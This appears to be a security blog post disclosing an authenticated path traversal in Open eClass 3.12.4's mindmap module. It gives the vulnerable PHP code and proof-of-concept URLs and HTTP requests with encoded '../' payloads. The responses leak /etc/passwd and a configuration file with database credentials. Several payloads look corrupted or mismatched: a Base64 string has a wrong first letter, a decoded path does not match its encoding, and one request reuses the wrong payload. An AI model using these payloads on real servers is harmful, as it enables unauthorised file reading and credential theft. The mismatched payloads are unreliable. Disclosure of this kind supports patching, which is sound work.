

Late-Night CyberSec Adventures

GUnet Open eClass 3.12.4 Authenticated Path Traversal

GUnet Open eClass Platform (aka openeclass) versions before 3.12.5 are affected by a directory traversal vulnerability through the /modules/mindmap/index.php page. This allows an authenticated low-privileged user (student) to read arbitrary system files through the GET “jmpath” variable by providing double encoded (JSON & Base64) system paths. This requires a course that has this feature enabled (mindmap module). Successful exploitation could allow an attacker to traverse the file system to access files or directories that are outside of restricted directory on the remote server and lead to the disclosure of sensitive data.

```
if(isset($_GET["jmpath"])) {  
    $path = json_decode( base64_decode( $_GET['jmpath'] ) );  
    $myfile = fopen($path, "r") or die("Unable to open file!");  
    $arr = fread($myfile,filesize($path));  
    fclose($myfile);  
} else $arr = "{}";
```

PoC read /etc/passwd:

/modules/mindmap/index.php?

jmpath=li4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2Qi

Where li4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2Qi is

“../../../../../../../../../../../../etc/passwd”



```
Request
1 GET /modules/mindmap/?course=THAP0ST102&jmpath=Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvZWNSYXNzLmXvY2FsL2NvbWZpZy9jb25maWcucGhwlg== HTTP/1.1
2 Host: eclass.local
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=cobvaShif1edqjgqr64eoaqii5
9 Upgrade-Insecure-Requests: 1
10
11

Response
349 container: "jsmind_container",
350 theme: "greennasa",
351 editable: true
352 }
353 _jm = jsMind.show(options);
354 // _jm = jsMind.show(options, mind);
355
356 var x = root: x: 0: 0: root: /root: /bin/bash
357 daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin
358 bin: x: 2: 2: bin: /usr/sbin: /usr/sbin/nologin
359 sys: x: 3: 3: sys: /dev: /usr/sbin/nologin
360 sync: x: 4: 65534: sync: /bin: /bin/sync
361 games: x: 5: 60: games: /usr/games: /usr/sbin/nologin
362 man: x: 6: 12: man: /var/cache/man: /usr/sbin/nologin
363 lp: x: 7: 7: lp: /var/spool/lpd: /usr/sbin/nologin
364 mail: x: 8: 8: mail: /var/mail: /usr/sbin/nologin
365 news: x: 9: 9: news: /var/spool/news: /usr/sbin/nologin
```

PoC read /config/config.php:

/modules/mindmap/index.php?

jmpath=Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvZWNSYXNzLmXvY2FsL2NvbWZpZy9jb25maWcucGhwlg==

Where

Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvZWNSYXNzLmXvY2FsL2NvbWZpZy9jb25maWcucGhwlg== is “../..../..../..../..../..../var/www/eclass.local/config/config.php”

```
Request
1 GET /modules/mindmap/?course=THAP0ST102&jmpath=Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvZWNSYXNzLmXvY2FsL2NvbWZpZy9jb25maWcucGhwlg== HTTP/1.1
2 Host: eclass.local
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=cobvaShif1edqjgqr64eoaqii5
9 Upgrade-Insecure-Requests: 1
10
11

Response
354 // _jm = jsMind.show(options, mind);
355
356 var x = <?php
357 /*
358  * Open eClass 3.x configuration file
359  * Created by install on 2021-11-19 19:04
360  *
361  */
362 $mysqlServer = 'localhost';
363 $mysqlUser = 'eclass';
364 $mysqlPassword = 'eclass';
365 $mysqlHostNo = 'eclass';
```

This issue is fixed in version 3.12.5

<https://hg.gunet.gr/openeclass/diff/cbfc90094d51/modules/mindmap/index.php>

